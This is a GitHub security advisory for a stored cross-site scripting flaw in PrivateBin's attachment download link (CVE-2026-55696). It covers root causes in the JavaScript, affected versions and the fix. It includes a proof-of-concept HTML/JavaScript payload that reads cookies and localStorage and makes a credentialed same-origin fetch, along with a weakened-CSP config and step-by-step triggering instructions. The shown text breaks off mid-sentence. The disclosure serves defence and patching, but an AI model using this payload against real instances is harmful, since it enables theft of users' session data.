GitHub Advisoryadvisory · Packagist

GHSA-f2xf-7x3g-4272 PrivateBin has stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction

MEDIUM Published 2026-08-28 Modified 2026-08-28 Official page ↗
Aliases
CVE-2026-55696
Ecosystem
Packagist
Packages
privatebin/privatebin
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Weaknesses
CWE-79, CWE-80
Reviewed
2026-08-28

Affected packages

• Packagist privatebin/privatebin: < 2.0.5 → fixed in 2.0.5

Description

Summary Stored cross-site scripting (XSS) in PrivateBin's attachment download link. An anonymous attacker can create a paste with a text/html attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the "Download attachment" link in a new tab, the attacker's inline JavaScript executes in the PrivateBin instance's origin with full same-origin capability (cookie/localStorage access, same-origin fetch). This is an incomplete fix of CVE-2022-24833. The original fix only applies to the inline preview blob (in case of SVG), never to the download link's blob. Thus a text/html (or image/svg) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don't enforce the recommended Content-Security-Policy, but with a slightly different attack process. Instances using the default recommended CSP are protected (the blob inherits script-src 'self', blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover. Requires fileupload = true (non-default) and a non-recommended CSP configuration. Details In js/privatebin.js, the function AttachmentViewer.setAttachment (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can't be inspected or sanitized by the server. Root cause 1: MIME-gated sanitization (line 3017) DOMPurify sanitization only triggers when the MIME type matches **/^image\/.\*svg/i. Any other active content type (such as text/html, application/xhtml+xml, text/xml**) completely bypasses sanitization. ```js // js/privatebin.js:3017-3023 if (mimeType.match(/^image\/.*svg/i)) { // only SVG is considered const sanitizedData = DOMPurify.sanitize( decodedData, purifySvgConfig ); blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only } ``` Root cause 2: download link always points to unsanitized blob (line 3002) The "Download attachment" link's href is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable blobUrl that's consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content. ```js // js/privatebin.js:3001-3002 let blobUrl = getBlobUrl(decodedData, mimeType); // unsanitized blob attachmentLink.attr('href', blobUrl); // download link set HERE (never updated) ``` Root cause 3: MIME type is fully attacker-controlled The MIME type is extracted from the decrypted data URI at line 3211-3217 via getAttachmentMimeType, which simply reads the substring between data: and ; in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a Blob with that exact Content-Type at line 2963-2967 via getBlobUrl. Attack flow: 1. Attacker creates a paste with an attached .html file. The client encodes it as data:text/html;base64,... and encrypts it. 2. Victim opens the paste URL. decryptPaste (line 5387-5397) decrypts the message and calls setAttachment with the attacker's data URI. 3. setAttachment creates a same-origin blob:http://instance/... with Content-Type: text/html containing the attacker's HTML+script. This blob is assigned to the "Download attachment" link's href without any sanitization. 4. Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance's origin, executing the attacker's inline JavaScript. Relation to CVE-2022-24833: The 2022 advisory claimed: *"whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized."* This doesn't hold because: • The download link's blob is never sanitized (only the preview blob is). • The advisory's safety argument for the download link ("opens from file:// protocol") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin blob: URL instead. Proof of concept Environment: • PrivateBin commit 597a6f0d (version 2.0.4+) • PHP 8.x with built-in server • Chromium-based browser (tested in Playwright/Chromium) Step 1: Set up a vulnerable instance ```bash git clone https://github.com/PrivateBin/PrivateBin.git cd PrivateBin git checkout 597a6f0d mkdir -p data ``` Create cfg/conf.php with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn't enforced, as documented in the original CVE-2022-24833 advisory). For example, here is a basic config: ```ini [main] fileupload = true cspheader = "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:" httpwarning = false [expire] default = "1week" [expire_options] 5min = 300 10min = 600 1hour = 3600 1day = 86400 1week = 604800 1month = 2592000 1year = 31536000 never = 0 [formatter_options] plaintext = "Plain Text" syntaxhighlighting = "Source Code" markdown = "Markdown" [traffic] limit = 0 [purge] limit = 300 batchsize = 10 [model] class = "Filesystem" [model_options] dir = "data" ``` Start the server: ```bash php -S 127.0.0.1:8099 ``` Step 2: Prepare the payload file Save as xss-attachment.html: ```html benign just a harmless document document.title = 'XSS:' + document.domain; document.body.style.background = '#c00'; document.body.style.color = '#fff'; document.body.innerHTML = 'XSS EXECUTEDorigin = ' + location.origin + 'protocol = ' + location.protocol + 'cookies = ' + JSON.stringify(document.cookie) + 'localStorage = ' + JSON.stringify(localStorage) + ''; // prove same-origin capability fetch(location.origin + '/?jsonld=paste', { credentials: 'include' }) .then(r => r.text()) .then(t => document.body.innerHTML += 'same-origin fetch returned ' + t.length + ' bytes'); ``` Optionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a `lang` cookie.) Step 3: Attacker creates the paste 1. Browse to http://127.0.0.1:8099/ 2. Type any text in the document area (e.g., "Quarterly report attached. Open the Download attachment link to view it.") 3. Click Attach a file and select xss-attachment.html. The browser detects the file type as text/html, so the client produces attachment = ["data:text/html;base64,..."]. 4. Click Create. Copy the resulting paste URL. Step 4: Victim opens the paste 1. Open the paste URL in a browser. The paste decrypts and renders: "Download attachment (xss-attachment.html, ...)" with a blob: link. 2. Right-click the "Download attachment" link and select Open in new tab (or middle-click). Step 5: Observe XSS execution The new tab opens at blob:http://127.0.0.1:8099/... with: • Page title: XSS:127.0.0.1 (set by attacker script) • Red background with `XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = "", localstorage = ...` • A same-origin fetch to the backend that returns re…

Related

Alias · CVE (1)

  • CVE-2026-55696 PrivateBin is an online pastebin where the server has zero knowledge of pasted data. vulnerability

Weakness · CWE (2)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness
  • CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page weakness

References